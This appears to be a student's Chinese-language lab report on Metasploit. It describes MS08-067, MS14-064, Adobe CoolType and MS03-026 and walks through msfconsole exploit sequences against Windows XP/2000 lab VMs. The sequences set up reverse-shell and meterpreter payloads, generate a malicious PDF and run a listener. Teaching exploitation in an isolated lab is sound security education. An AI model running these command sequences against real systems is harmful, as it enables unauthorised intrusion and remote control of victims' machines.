2020-2021-2 20181312 【网络对抗技术】Exp6 MSF应用基础
Exp6 MSF应用基础
序言
本次实验目标是掌握metasploit的基本应用方式,重点是常用的三种攻击方式的思路。
预备知识
MS08-067
漏洞描述
MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。在Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。防火墙最佳做法和标准的默认防火墙配置,有助于保护网络资源免受从企业外部发起的攻击,默认情况下能建立空连接。
攻击原理
MS08_067漏洞攻击原理是攻击者利用受害者主机默认开放的SMB服务端口445,发送恶意资料到该端口,通过MSRPC接口调用Server服务的一个函数,并破坏程序的栈缓冲区,获得远程代码执行(Remote Code Execution)权限,从而完全控制主机。
源码分析
MS08_67漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize
函数时触发的,而在远程访问其他主机时,会调用NetpwPathCanonicalize
函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize
函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行。
MS14-064
漏洞描述
Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术。成功利用这些漏洞的攻击者可以在当前用户的上下文中运行任意代码。如果当前用户使用管理用户权限登录,则攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。那些帐户被配置为拥有较少用户权限的用户比具有管理用户权限的用户受到的影响要小。 对于 Microsoft Windows 所有受支持的版本,此安全更新的等级为“严重”。
漏洞原理
远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 – Win10+IE11全版本...
Adobe
漏洞原理
通过社会工程学探测到目标用户的邮箱,即时通信账户个人信息,净额以文档发送给用户,打开文档就会触发恶意漏洞。
MS03_026
漏洞描述
此漏洞由lds-pl.net漏洞研究组在2003年7月16日发现,漏洞及exp在网上公开后,网上出现了大量的实例,利用此漏洞的蠕虫也大量出现。
漏洞原理
微软修改dcerpc框架后形成自己的RPC框架来处理进程间的通信。微软的RPC框架在处理TCP/IP信息交换过程中存在的畸形消息时,未正确处理,导致缓冲区溢出漏洞;此漏洞影响使用RPC框架的DCOM接口,DCOM接口用来处理客户端机器发送给服务器的DCOM对象激活请求,如UNC路径。
MSF模块使用方式方法
msfconsole进入控制台
确定你要找的漏洞,然后输入
search 漏洞名查找相应模块
info查看靶机适用范围
show payloads查看相关载荷
set payload generic/shell_reverse_tcp选择载荷
show options查看相关参数
进行参数配置
set RHOST 靶机IP
set LPORT 端口号
set LHOST 攻击机IP
set target 0
利用辅助模块查看端口是否开启(默认端口为445)
msfconsole//进入控制台
search portscan //搜索端口
use auxiliary/scanner/portscan/tcp //使用漏洞模块
set RHOSTS 靶机地址
exploit //攻击
exploit侦听
一、实验内容
- 一个主动攻击实践,尽量使用最新的类似漏洞
- 一个针对浏览器的攻击,尽量使用最新的类似漏洞
- 一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞
- 成功应用任何一个辅助模块
二、实验过程
2.1 主动攻击实践MS08-067
靶机:Microsoft Windows XP(172.20.10.4)
攻击机:kali(172.20.10.5)
首先利用辅助模块查看靶机目标端口是否开启
msfconsole//进入控制台
search portscan //搜索端口
use auxiliary/scanner/portscan/tcp //使用漏洞模块
set RHOSTS 172.20.10.4 //设置靶机地址
exploit //攻击
这里似乎显示445端口没有开启,但我还是尝试了一下
msfconsole
use exploit/windows/smb/ms08_067_netapi //选择攻击模块
set payload generic/shell_reverse_tcp //选择攻击载荷
show options //查看配置信息
set RHOST 172.20.10.4 //设置靶机IP,端口默认为445
set LPORT 1312
set LHOST 172.20.10.5 //设置攻方IP
set target 0 //0是自动选择平台(可通过“show targets”查看可攻击的平台)
exploit //侦听
第一次侦听显示成功,但没有建立会话,随后的侦听都失败了。
之后将RHOST换成135、136尝试了一下,均以失败告终
随后我将靶机换成了Windows 2000
靶机:Microsoft Windows 2000 (172.20.10.6)
攻击机:kali(172.20.10.5)
set RHOST 172.20.10.6 //设置靶机IP,端口默认为445
set target 1 //如上图,这里的1是Windows2000
exploit //侦听
成功获得了Windows2000的shell,运行ipconfig
命令发现ip地址一致。
2.2 针对浏览器的攻击MS14-064
靶机:Microsoft Windows XP(172.20.10.4)
攻击机:kali(172.20.10.5)
msfconsole
use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
show payloads //显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp
set SRVHOST 172.20.10.5 //设置攻击机IP
set AllowPowerShellPrompt 1 //因为msf中自带的漏洞利用exp调用的是powershell,所以msf中的exp代码只对安装powershell的系统生效
set LHOST 172.20.10.5
set LPORT 1312
set target 0 //设置winXP靶机
exploit
可以看到这里生成了一个URL地址,将其复制进Windows XP的浏览器中。
可以看到成功建立了一个会话。
这时可以用ctrl+c
退出当前状态,输入sessions -i 1
获取第一个会话连接,并输入ipconfig
验证靶机地址
2.3 针对客户端的攻击Adobe
靶机:Microsoft Windows XP(172.20.10.4)
攻击机:kali(172.20.10.5)
msfconsole
use windows/fileformat/adobe_cooltype_sing //选择攻击模块
set payload windows/meterpreter/reverse_tcp
set LHOST 172.20.10.5 //攻击机 IP
set LPORT 1312
set FILENAME xieyi20181312.pdf //设置生成的pdf文件名
exploit //发起攻击
可以看到生成了xieyi20181312.pdf
,这时使用cp /home/xieyi20181312/.msf4/local/xieyi20181312.pdf /mnt/hgfs/ShareForKali
将文件复制到Windows10主机上,然后移动到Windows XP上。
在msfconsole中退出当前模块,随后输入
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp
set LHOST 172.20.10.5 //攻击机 IP
set LPORT 1312
exploit
在Windows XP安装了Adobe Reader 9.4
后,打开xieyi20181312.pdf
可以看到在kali中已经攻击成功,输入ipconfig
可以验证靶机地址。
输入shell,可以真实地获取Windows XP的cmd
2.4 成功应用任何一个辅助模块
MS03_026
靶机:Microsoft Windows XP(172.20.10.4)
攻击机:kali(172.20.10.5)
msfconsole
use exploit/windows/dcerpc/ms03_026_dcom //选择攻击模块
show targets //查看适用范围
set payload windows/meterpreter/reverse_tcp
set LHOST 172.20.10.5 //攻击机 IP
set LPORT 1312
set RHOST 172.20.10.4 //靶机 IP
set RPORT 1312
exploit
不成功。
此时,我想起来之前检查tcp端口的时候只有135端口和136端口开放,这时我将LPORT和RPORT都改成了135。
还是不成功,于是我更换了Windows 2000尝试
靶机:Microsoft Windows 2000 (172.20.10.6)
攻击机:kali(172.20.10.5)
我先探测了一下靶机开放的tcp端口
msfconsole
use exploit/windows/dcerpc/ms03_026_dcom //选择攻击模块
show targets //查看适用范围
set payload windows/meterpreter/reverse_tcp
set LHOST 172.20.10.5 //攻击机 IP
set LPORT 1312
set RHOST 172.20.10.6 //靶机 IP
set RPORT 445
exploit
还是不成功。
ipidseq
靶机:Microsoft Windows 2000 (172.20.10.6)
攻击机:kali(172.20.10.5)
msfconsole
use auxiliary/scanner/ip/ipidseq
set RHOSTS 172.20.10.6 //靶机 IP
set TIMEOUT 5 //设置时间最长扫描时间
exploit
我们只要将IP设成范围就可以扫描同一网段下的其他主机了,因为实际上我们并不一定知道靶机的IP地址,通常需要写成一个范围。
三、回答一些问题
3.1 用自己的话解释什么是exploit,payload,encode.
exploit:攻击。我觉得就是对漏洞的攻击,也就是通过漏洞对靶机进行一些非授权操作。
payload:载荷。也就是一段shellcode攻击代码,在利用漏洞对靶机进行一系列操作的过程中,实质上进行执行shellcode代码。
encode:编码。查看了一下/usr/share/metasploit-framework/modules/encoders
文件夹下的内容,我认为encode就是通过改变shellcode的编码格式来对攻击代码进行伪装,使其能正常运行并尽量免杀。
3.2 离实战还缺些什么技术或步骤?& 实践总结与体会
我们现在做的实验都是使用了一些特定版本的Windows系统,且都是年代较为久远的2000、XP等版本。如果是现在真实环境下很难找到有人在使用Windows XP作为主机系统了,而且现在找到的漏洞利用方法都是前人充分总结出来的,已有的漏洞在版本更新之后,肯定已经被修复了。如果去实战的话,我想我们应当具备寻找尽可能新的漏洞的能力,趁漏洞的补丁还比较新,没有人更新版本时运用该漏洞进行攻击,才有可能达到真正的攻击效果。